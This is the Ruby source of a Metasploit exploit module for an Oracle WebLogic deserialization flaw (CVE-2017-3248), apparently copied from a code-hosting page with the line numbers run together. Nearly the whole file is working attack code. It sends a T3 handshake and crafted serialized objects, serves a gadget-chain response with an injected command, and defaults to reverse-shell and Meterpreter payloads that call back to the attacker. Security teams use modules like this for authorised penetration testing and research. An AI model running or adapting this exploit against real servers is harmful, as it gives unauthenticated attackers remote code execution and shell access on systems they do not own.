Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_unicastref.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::TcpServer10# include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::Powershell1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Oracle Weblogic Server Deserialization RCE - RMI UnicastRef',18'Description' => %q{19An unauthenticated attacker with network access to the Oracle Weblogic Server T320interface can send a serialized object (sun.rmi.server.UnicastRef)21to the interface to execute code on vulnerable hosts.22},23'Author' => [24'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)25'Jacob Baines', # Vulnerability Discovery - Tenable Network Security26'Aaron Soto' # Reverse Engineering JSO and ysoserial blobs27],28'License' => MSF_LICENSE,29'References' => [30['CVE', '2017-3248']31],32'Privileged' => false,33'Platform' => %w{unix win solaris},34'Targets' => [35[36'Unix',37'Platform' => 'unix',38'Arch' => ARCH_CMD,39'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' },40'Payload' => {41'Encoder' => 'cmd/ifs',42'BadChars' => ' ',43'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'python' }44}45],46[47'Windows',48'Platform' => 'win',49'Payload' => {},50'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }51],52[53'Solaris',54'Platform' => 'solaris',55'Arch' => ARCH_CMD,56'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },57'Payload' => {58'Space' => 2048,59'DisableNops' => true,60'Compat' =>61{62'PayloadType' => 'cmd',63'RequiredCmd' => 'generic perl telnet',64}65}66]67],68'DefaultTarget' => 0,69'DefaultOptions' => {70'WfsDelay' => 1271},72'DisclosureDate' => '2017-01-25',73'Notes' => {74'Reliability' => UNKNOWN_RELIABILITY,75'Stability' => UNKNOWN_STABILITY,76'SideEffects' => UNKNOWN_SIDE_EFFECTS77}78)79)8081register_options([Opt::RPORT(7001)])82end8384=begin This check is currently incompatible with the Tcp mixin. :-(85def check86resp = send_request_cgi(87'method' => 'GET',88'uri' => '/console/login/LoginForm.jsp'89)9091return CheckCode::Unknown unless resp && resp.code == 2009293unless resp.body.include?('Oracle WebLogic Server Administration Console')94vprint_warning("Oracle WebLogic Server banner cannot be found")95return CheckCode::Unknown96end9798/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body99unless version100vprint_warning("Oracle WebLogic Server version cannot be found")101return CheckCode::Unknown102end103104version = Rex::Version.new(version)105vprint_good("Detected Oracle WebLogic Server Version: #{version}")106case107when version.to_s.start_with?('10.3')108return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')109when version.to_s.start_with?('12.1.3')110return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')111when version.to_s.start_with?('12.2')112return CheckCode::Appears unless version > Rex::Version.new('12.2.1.1')113end114115return CheckCode::Safe116end117=end118119def gen_resp120if target.name == 'Windows'121pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true })122mycmd = pwrshl.each_byte.map { |b| b.to_s(16) }.join123elsif target.name == 'Unix' || target.name == 'Solaris'124nix_cmd = payload.encoded125mycmd = nix_cmd.each_byte.map { |b| b.to_s(16) }.join126end127128serialized_cmd = (mycmd.length >> 1).to_s(16).rjust(4, '0')129serialized_cmd << mycmd130131# Response data taken from JRMPListener generated data:132# java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPListener <lport> CommonsCollections1 calc.exe133# Modified captured network traffic bytes. Patch in command to run134# TODO: Migrate this functionality to the new JavaDeserialization utilities135@resp = '51aced0005770f02086f5ef3000001651a67984d80017372002e6a617661782e'136@resp << '6d616e6167656d656e742e42616441747472696275746556616c756545787045'137@resp << '7863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176'138@resp << '612f6c616e672f4f626a6563743b70787200136a6176612e6c616e672e457863'139@resp << '657074696f6ed0fd1f3e1a3b1cc402000070787200136a6176612e6c616e672e'140@resp << '5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c'141@resp << '6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573'142@resp << '736167657400124c6a6176612f6c616e672f537472696e673b5b000a73746163'143@resp << '6b547261636574001e5b4c6a6176612f6c616e672f537461636b547261636545'144@resp << '6c656d656e743b4c001473757070726573736564457863657074696f6e737400'145@resp << '104c6a6176612f7574696c2f4c6973743b70787071007e0008707572001e5b4c'146@resp << '6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c'147@resp << '3cfd2239020000707870000000047372001b6a6176612e6c616e672e53746163'148@resp << '6b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e'149@resp << '756d6265724c000e6465636c6172696e67436c61737371007e00054c00086669'150@resp << '6c654e616d6571007e00054c000a6d6574686f644e616d6571007e0005707870'151@resp << '0000011b74001e79736f73657269616c2e6578706c6f69742e4a524d504c6973'152@resp << '74656e65727400114a524d504c697374656e65722e6a617661740006646f4361'153@resp << '6c6c7371007e000b000000e071007e000d71007e000e740009646f4d65737361'154@resp << '67657371007e000b000000ab71007e000d71007e000e74000372756e7371007e'155@resp << '000b0000007771007e000d71007e000e7400046d61696e737200266a6176612e'156@resp << '7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c6973'157@resp << '74fc0f2531b5ec8e100200014c00046c69737471007e0007707872002c6a6176'158@resp << '612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c6543'159@resp << '6f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a617661'160@resp << '2f7574696c2f436f6c6c656374696f6e3b707870737200136a6176612e757469'161@resp << '6c2e41727261794c6973747881d21d99c7619d03000149000473697a65707870'162@resp << '000000007704000000007871007e001b787372003273756e2e7265666c656374'163@resp << '2e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e'164@resp << '48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c7565'165@resp << '7374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a61'166@resp << '76612f6c616e672f436c6173733b707870737d00000001000d6a6176612e7574'167@resp << '696c2e4d617074001066696c653a2f746d702f73732e6a6172787200176a6176'168@resp << '612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c'169@resp << '0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174'170@resp << '696f6e48616e646c65723b7078707371007e001c7372002a6f72672e61706163'171@resp << '68652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d'172@resp << '61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61'173@resp << '70616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e7366'174@resp << '6f726d65723b74001066696c653a2f746d702f73732e6a617278707372003a6f'175@resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6675'176@resp << '6e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97'177@resp << '040200015b000d695472616e73666f726d65727374002d5b4c6f72672f617061'178@resp << '6368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f72'179@resp << '6d65723b74001066696c653a2f746d702f73732e6a617278707572002d5b4c6f'180@resp << '72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472'181@resp << '616e73666f726d65723bbd562af1d834189902000074001066696c653a2f746d'182@resp << '702f73732e6a61727870000000057372003b6f72672e6170616368652e636f6d'183@resp << '6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e737461'184@resp << '6e745472616e73666f726d6572587690114102b1940200014c000969436f6e73'185@resp << '74616e7471007e000174001066696c653a2f746d702f73732e6a617278707672'186@resp << '00116a6176612e6c616e672e52756e74696d6500000000000000000000007078'187@resp << '707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c65637469'188@resp << '6f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287'189@resp << 'e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e67'190@resp << '2f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b6950'191@resp << '6172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7400'192@resp << '1066696c653a2f746d702f73732e6a61727870757200135b4c6a6176612e6c61'193@resp << '6e672e4f626a6563743b90ce589f1073296c0200007078700000000274000a67'194@resp << '657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab'195@resp << '16d7aecbcd5a99020000707870000000007400096765744d6574686f64757100'196@resp << '7e003e00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a'197@resp << '3bb3420200007078707671007e003e7371007e00367571007e003b0000000270'198@resp << '7571007e003b00000000740006696e766f6b657571007e003e00000002767200'199@resp << '106a6176612e6c616e672e4f626a656374000000000000000000000070787076'200@resp << '71007e003b7371007e0036757200135b4c6a6176612e6c616e672e537472696e'201@resp << '673badd256e7e91d7b470200007078700000000174'202203@resp << serialized_cmd204205@resp << '74'206@resp << '0004657865637571007e003e0000000171007e00437371007e0031737200116a'207@resp << '6176612e6c616e672e496e746567657212e2a0a4f78187380200014900057661'208@resp << '6c756570787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b'209@resp << '02000070787000000001737200116a6176612e7574696c2e486173684d617005'210@resp << '07dac1c31660d103000246000a6c6f6164466163746f72490009746872657368'211@resp << '6f6c647078703f40000000000000770800000010000000007878767200126a61'212@resp << '76612e6c616e672e4f7665727269646500000000000000000000007078707100'213@resp << '7e005a'214end215216def on_client_connect(client)217# Make sure to only sent one meterpreter payload to a host.218# (or as long as the server was listening).219vprint_status("Comparing host: #{client.peerhost}")220if @met_sent.include?(client.peerhost) then return end221222@met_sent << client.peerhost223224print_status("Sending payload to client: #{client.peerhost}")225226# Response format determined by watching network traffic227accept_conn = '4e00'228raccept_conn = client.peerhost.each_byte.map { |b| b.to_s(16) }.join229accept_conn << (raccept_conn.length >> 1).to_s(16).rjust(2, '0')230accept_conn << raccept_conn231accept_conn << '0000'232accept_conn << client.peerport.to_s(16).rjust(4, '0')233234client.put([accept_conn].pack('H*'))235client.get_once236client.get_once237client.put([@resp].pack('H*'))238client.get_once239240service.close_client(client)241end242243def t3_handshake244# retrieved from network traffic245shake = "t3 12.2.1\n"246shake << "AS:255\n"247shake << "HL:19\n"248shake << "MS:10000000\n\n"249250sock.put(shake)251sleep(1)252sock.get_once253end254255def build_t3_request_object256# T3 request serialized data257# retrieved by watching network traffic258# This is a proprietary, undocumented protocol259data = '000005c3' # lenght of the packet260data << '01' # CMD_IDENTIFY_REQUEST261data << '65' # QOS262data << '01' # Flags:263# CONTEXT_JVMID_FLAG = 1 (has JVMIDs)264# CONTEXT_TX_FLAG = 2265# CONTEXT_TRACE_FLAG = 4266# CONTEXT_EXTENDED_FLAG = 8267# CONTEXT_EXTENDED_USER_FLAG = 16268data << 'ffffffff' # response id269data << 'ffffffff' # invocable id270data << '0000006a' # abbrev offset271data << '0000ea60' # reconnect timeout ??272273# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?274data << '0000001900937b484a56fa4a777666f581daa4f5b9'275data << '0e2aebfc607499b402797372007872017872027870'276data << '0000000a0000000300000000000000060070707070'277data << '70700000000a000000030000000000000006007006'278279data << 'fe010000' # ----- separator -----280281data << 'aced0005' # JSO v5 header282data << '73' # object header283data << '72001d' # className (29 bytes):284data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry285data << '5461626c65456e747279' # (continued)286data << '2f52658157f4f9ed' # serialVersionUID287data << '0c00007870' # remainder of object header288data << '72' # object header289data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo290data << '65726e616c2e5061636b616765496e666f' # (continued)291data << 'e6f723e7b8ae1ec9' # serialVersionUID292data << '02' # SC_SERIALIZABLE293data << '0008' # fieldCount = 8294data << '4900056d616a6f72' # 0: Int: major295data << '4900056d696e6f72' # 1: Int: minor296data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch297data << '49000b736572766963655061636b' # 3: Int: servicePack298data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch299data << '4c0009696d706c5469746c65' # 5: Obj: implTitle300data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String301data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor302data << '71007e0003' # (Handle) 0x007e0003303data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion304data << '71007e0003' # (Handle) 0x007e0003305data << '78707702000078' # block footers306307data << 'fe010000' # ----- separator -----308309data << 'aced0005' # JSO v5 header310data << '7372' # object header311data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry312data << '735461626c65456e747279' # (continued)313data << '2f52658157f4f9ed' # serialVersionUID314data << '0c' # EXTERNALIZABLE | BLOCKDATA315data << '00007870' # remainder of object header316data << '72' # object header317data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo318data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)319data << '972245516452463e' # serialVersionUID320data << '02' # SC_SERIALIZABLE321data << '0003' # fieldCount = 3322data << '5b0008' # array header (8 bytes)323data << '7061636b61676573' # ARRAY NAME = 'packages'324data << '740027' # TC_STRING className1 (39 bytes)325data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo326data << '6e7465726e616c2f5061636b616765496e666f' # (continued)327data << '3b' # (continued)328data << '4c000e' # object header (14 bytes)329data << '72656c6561736556657273696f6e' # releaseVersion330data << '740012' # TC_STRING (18 bytes)331data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes332data << '5b0012' # array header (18 bytes)333data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;334data << '740002' # TC_STRING (2 bytes)335data << '5b42' # 0x5b42 = [B336data << '78' # block footer337338data << '720024' # class (36 bytes)339data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo340data << '7465726e616c2e5061636b616765496e666f' # (continued)341data << 'e6f723e7b8ae1ec9' # serialVersionUID342343data << '02' # SC_SERIALIZABLE344data << '0008' # fieldCount = 8345data << '4900056d616a6f72' # 0: Int: major346data << '4900056d696e6f72' # 1: Int: minor347data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch348data << '49000b736572766963655061636b' # 3: Int: servicePack349data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch350data << '4c0009696d706c5469746c65' # 5: Obj: implTitle351data << '71' # TC_REFERENCE352data << '007e0004' # Handle = 0x007e0004353data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor354data << '71' # TC_REFERENCE355data << '007e0004' # Handle = 0x007e0004356data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion357data << '71' # TC_REFERENCE358data << '007e0004' # Handle = 0x007e0004359data << '78' # class footer360data << '70' # TC_NULL361data << '77020000' # BLOCKDATA (2 bytes): 0x0000362data << '78' # block footer363364data << 'fe010000' # ----- separator -----365366data << 'aced0005' # JSO v5 header367data << '73' # object header368data << '72001d' # className (29 bytes):369data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry370data << '5461626c65456e747279' # (continued)371data << '2f52658157f4f9ed' # serialVersionUID372data << '0c00007870' # remainder of object header373data << '720021' # className (33 bytes)374data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo375data << '65726e616c2e50656572496e666f' # (continued)376data << '585474f39bc908f1' # serialVersionUID377data << '02' # SC_SERIALIZABLE378data << '0006' # fieldCount = 6379data << '4900056d616a6f72' # 0: Int: major380data << '4900056d696e6f72' # 1: Int: minor381data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch382data << '49000b736572766963655061636b' # 3: Int: servicePack383data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch384data << '5b00087061636b61676573' # 5: Array: packages385data << '740027' # TC_STRING (39 bytes)386data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;387data << '6e7465726e616c2f5061636b616765496e666f' # (continued)388data << '3b' # (continued)389data << '78' # block footer390data << '720024' # class (36 bytes)391data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Lweblogic/common/internal/PackageInfo;392data << '65726e616c2e56657273696f6e496e666f' # (continued)393data << '972245516452463e' # serialVersionUID394data << '02' # SC_SERIALIZABLE395data << '0003' # fieldCount = 3396data << '5b0008' # 0: Array397data << '7061636b6167657371' # packages398data << '007e0003' # Handle = 0x00730003399data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion400data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;401data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes402data << '740002' # TC_STRING (2 bytes)403data << '5b42' # VALUE = 0x5b42 = [B404data << '78' # block footer405data << '720024' # class: (36 bytes)406data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo407data << '6e616c2e5061636b616765496e666f' # (continued)408data << 'e6f723e7b8ae1ec9' # serialVersionUID409data << '02' # SC_SERIALIZABLE410data << '0008' # fieldCount = 8411data << '4900056d616a6f72' # 0: Int: major412data << '4900056d696e6f72' # 1: Int: minor413data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch414data << '49000b736572766963655061636b' # 3: Int: servicePack415data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch416data << '4c0009696d706c5469746c65' # 5: Obj: implTitle417data << '71' # TC_REFERENCE418data << '007e0005' # Handle = 0x007e0005419data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor420data << '71' # TC_REFERENCE421data << '007e0005' # Handle = 0x007e0005422data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion423data << '71' # TC_REFERENCE424data << '007e0005' # Handle = 0x007e0005425data << '78' # class footer426data << '707702000078' # block footers427428data << 'fe00ff' # whatever this cruft is again429430data << 'fe010000' # ----- separator -----431432# weblogic.rjvm.JVMID object433data << 'aced0005' # JSO v5 header434data << '73' # object header435data << '720013' # class (19 bytes)436data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'437data << 'dc49c23ede121e2a' # serialVersionUID438data << '0c' # EXTERNALIZABLE | BLOCKDATA439data << '0000' # fieldCount = 0 (!!!)440data << '78' # block footer441data << '70' # NULL442data << '7750' # block header (80 bytes)443data << '21' # !444data << '000000000000000000' # 9 NULL BYTES445data << '0d' # \n446# data << '3139322e3136382e312e323237' # original PoC string = 192.168.1.227447data << '3030302e3030302e3030302e30' # new string = 000.000.000.0448# (must be an IP, and length isn't trivially editable)449data << '00' # \0450data << '12' # strLength = 18 bytes451# data << '57494e2d4147444d565155423154362e6568' # original str = WIN-AGDMVQUB1T6.eh452data << rand_text_alphanumeric(18).unpack('H*')[0]453data << '83348cd6' # ??? UNKNOWN ??? (Note: Cannot be randomized)454data << '000000070000' # ??? UNKNOWN ???455data << rport.to_s(16).rjust(4, '0') # callback port456data << 'ffffffffffffffffffffffffffffffffffffff' # ??? UNKNOWN ???457data << 'ffffffffff' # ??? UNKNOWN ???458data << '78' # block footer459460data << 'fe010000' # ----- separator -----461462# weblogic.rjvm.JVMID object463data << 'aced0005' # JSO v5 header464data << '73' # object header465data << '72' # class466data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID467data << 'dc49c23ede121e2a' # serialVersionUID468data << '0c' # EXTERNALIZABLE | BLOCKDATA469data << '0000' # fieldCount = 0470data << '78' # end block471data << '70' # TC_NULL472data << '77' # block header473data << '20' # length = 32 bytes474data << '0114dc42bd071a772700' # ??? UNKNOWN ???475# data << rand_text_alphanumeric(10).unpack('H*')[0] # (NOTE: RANDOMIZAITON BREAKS THINGS)476data << '0d' # \n477# data << '3234322e3231342e312e323534' # original string = 242.214.1.254478data << '3030302e3030302e3030302e30' # new string = 000.000.000.0479# (must be an IP, and length isn't trivially editable)480# data << '61863d1d' # original string = ??? UNKNOWN ???481data << rand_text_alphanumeric(4).unpack('H*')[0] # new = randomized482data << '00000000' # NULL BYTES483data << '78' # block footer484485sock.put([data].pack('H*'))486sleep(1)487sock.get_once488end489490def send_payload_objdata491shost = srvhost492if ['0.0.0.0', '127.0.0.1', '::'].include?(shost)493shost = Rex::Socket.source_address494end495496# JRMPClient payload generated from ysoserial:497# Patch in srvhost and srvport498# TODO: Migrate this functionality to the new JavaDeserialization utilities499payload = '056508000000010000001b0000005d0101007372017870737202787000000000'500payload << '00000000757203787000000000787400087765626c6f67696375720478700000'501payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'502503payload << 'fe010000' # ----- separator -----504505payload << 'aced0005' # JSO v5 header506payload << '73' # object header507payload << '72' # class508payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry509payload << '73735461626c65456e747279' # (cont)510payload << '2f52658157f4f9ed' # serialVersionUID511payload << '0c' # EXTERNALIZABLE | BLOCKDATA512payload << '0000' # fieldCount = 0513payload << '7870' # remaining object header514payload << '72' # class header515payload << '00025b42' # Name: 0x5b42516payload << 'acf317f8060854e0' # serialVersionUID517payload << '02' # SERIALIZABLE518payload << '0000' # fieldCount = 0519payload << '7870' # class footer520payload << '77' # block header521payload << '020000' # contents = 0x0000522payload << '78' # block footer523524payload << 'fe010000' # ----- separator -----525526payload << 'aced0005' # JSO v5 header527payload << '73' # object header528payload << '72' # class529payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry530payload << '73735461626c65456e747279' # (cont)531payload << '2f52658157f4f9ed' # serialVersionUID532payload << '0c' # EXTERNALIZABLE | BLOCKDATA533payload << '0000' # fieldCount = 0534payload << '7870' # remaining object header535payload << '72' # class header536537payload << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;538payload << '6563743b' # (cont)539payload << '90ce589f1073296c' # serialVersionUID540payload << '02' # SERIALIZABLE541payload << '0000' # fieldCount = 0542payload << '7870' # remaining object header543payload << '77' # block header544payload << '020000' # contents = 0x0000545payload << '78' # block footer546547payload << 'fe010000' # ----- separator -----548549payload << 'aced0005' # JSO v5 header550payload << '73' # object header551payload << '72' # class552553payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry554payload << '73735461626c65456e747279' # (cont)555payload << '2f52658157f4f9ed' # serialVersionUID556payload << '0c' # SERIALIZABLE | BLOCKDATA557payload << '0000' # fieldCount = 0558payload << '7870' # block footer559payload << '72' # class header560payload << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector561payload << 'd9977d5b803baf01' # serialVersionUID562payload << '03' # WRITE_METHOD | SERIALIZABLE563payload << '0003' # fieldCount = 3564payload << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement565payload << '49000c656c656d656e74436f756e74' # 1: Int: elementCount566payload << '5b000b656c656d656e7444617461' # 2: Array: elementData567payload << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;568payload << '743b' # (cont)569payload << '7870' # remaining object header570payload << '77' # block header571payload << '020000' # contents = 0x0000572payload << '78' # block footer573574payload << 'fe010000' # ----- separator -----575576# manually generated payload using an UnicastRef object577# needed parameters are patched in runtime578payload << 'aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265'579payload << '676973747279787200176a6176612e6c616e672e7265666c6563742e50726f78'580payload << '79e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265'581payload << '666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a61'582payload << '76612e726d692e7365727665722e52656d6f74654f626a656374496e766f6361'583payload << '74696f6e48616e646c657200000000000000020200007872001c6a6176612e72'584payload << '6d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e0300'585payload << '00787077'586# serialize the srvhost manually587unicast_srvhost = shost.each_byte.map { |b| b.to_s(16) }.join588unicast_dat = '000a556e696361737452656600'589unicast_dat << (unicast_srvhost.length >> 1).to_s(16).rjust(2, '0')590unicast_dat << unicast_srvhost591unicast_dat << '0000'592unicast_dat << srvport.to_s(16).rjust(4, '0')593# unique identifier (for multiple executions)594rand_id = rand(1..65535)595unicast_dat << '000000006133'596unicast_dat << rand_id.to_s(16).rjust(4, '0')597unicast_dat << '00000000000000000000000000000078'598payload << ((unicast_dat.length >> 1) - 1).to_s(16).rjust(2, '0')599payload << unicast_dat600601payload << 'fe010000' # ----- separator -----602603# basic weblogic ImmutableServiceContext object (serialized)604payload << 'aced0005' # JSO v5 header605payload << '73' # object header606payload << '72' # class607payload << '00257765626c6f6769632e726a766d2e496d6d75' # Name: weblogic.rjvm.ImmutableServiceContext608payload << '7461626c6553657276696365436f6e74657874' # (cont)609payload << 'ddcba8706386f0ba' # serialVersionUID610payload << '0c' # EXTERNALIZABLE | BLOCKDATA611payload << '0000' # fieldCount = 0612payload << '78' # object footer613payload << '72' # block header614615payload << '00297765626c6f6769632e726d692e70726f76' # Name: weblogic.rmi.provider.BasicServiceContext616payload << '696465722e426173696353657276696365436f' # (cont)617payload << '6e74657874' # (cont)618payload << 'e4632236c5d4a71e' # serialVersionUID619payload << '0c' # EXTERNALIZABLE | BLOCKDATA620payload << '0000' # fieldCount = 0621payload << '7870' # block footer622payload << '77' # block header623payload << '020600' # contents = 0x0600624payload << '7372' # class descriptor625payload << '00267765626c6f6769632e726d692e696e7465' # Name: weblogic.rmi.internal.MethodDescriptor626payload << '726e616c2e4d6574686f644465736372697074' # (cont)627payload << '6f72' # (cont)628payload << '12485a828af7f67b' # serialVersionUID629payload << '0c' # EXTERNALIZABLE | BLOCKDATA630payload << '0000' # fieldCount = 0631payload << '7870' # class footer632payload << '77' # class data633634# payload << '34002e61757468656e746963617465284c7765' # old contents = 0x002e61757468656e746963617465284c7765635# payload << '626c6f6769632e73656375726974792e61636c' # 626c6f6769632e73656375726974792e61636c636# payload << '2e55736572496e666f3b290000001b' # 2e55736572496e666f3b290000001b637payload << rand_text_alphanumeric(52).unpack('H*')[0] # new = randomized638payload << '78' # class footer639payload << '78' # block footer640# MISSING OBJECT FOOTER (0x78)641642payload << 'fe00ff' # this cruft again. some kind of footer643644# sets the length of the stream645data = ((payload.length >> 1) + 4).to_s(16).rjust(8, '0')646data << payload647648sleep(2)649sock.put([data].pack('H*'))650sleep(2)651sock.get_once652end653654def exploit655@met_sent = []656gen_resp657658connect659660print_status('Sending handshake...')661t3_handshake662663print_status('Sending T3 request object...')664build_t3_request_object665666start_service667668print_status('Sending client object payload...')669send_payload_objdata670671handler672673disconnect674end675end676677678